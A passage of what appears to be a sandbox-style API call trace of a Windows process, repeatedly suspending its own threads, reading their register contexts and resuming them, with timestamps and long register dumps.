[44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0238.031] ResumeThread (hThread=0xc8) returned 0x1 [0238.031] CloseHandle (hObject=0xc8) returned 1 [0238.032] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0238.530] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xc8) returned 1 [0238.530] SuspendThread (hThread=0xc8) returned 0x0 [0238.530] GetThreadContext (in: hThread=0xc8, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffcb0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe4bd60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0238.737] ResumeThread (hThread=0xc8) returned 0x1 [0238.737] CloseHandle (hObject=0xc8) returned 1 [0238.745] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0240.061] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0240.860] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0241.057] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0241.318] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0242.220] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0242.666] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xdc) returned 1 [0242.666] SuspendThread (hThread=0xdc) returned 0x0 [0242.666] GetThreadContext (in: hThread=0xdc, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffe08, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe89c40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0242.796] ResumeThread (hThread=0xdc) returned 0x1 [0242.796] CloseHandle (hObject=0xdc) returned 1 [0242.796] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0243.126] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xdc) returned 1 [0243.126] SuspendThread (hThread=0xdc) returned 0x0 [0243.126] GetThreadContext (in: hThread=0xdc, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffe58, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe8c7c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0243.412] ResumeThread (hThread=0xdc) returned 0x1 [0243.413] CloseHandle (hObject=0xdc) returned 1 [0243.413] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0243.725] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xdc) returned 1 [0243.725] SuspendThread (hThread=0xdc) returned 0x0 [0243.725] GetThreadContext (in: hThread=0xdc, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031e50, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe85807, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0244.101] ResumeThread (hThread=0xdc) returned 0x1 [0244.101] CloseHandle (hObject=0xdc) returned 1 [0244.101] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0244.554] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0244.722] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0244.885] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 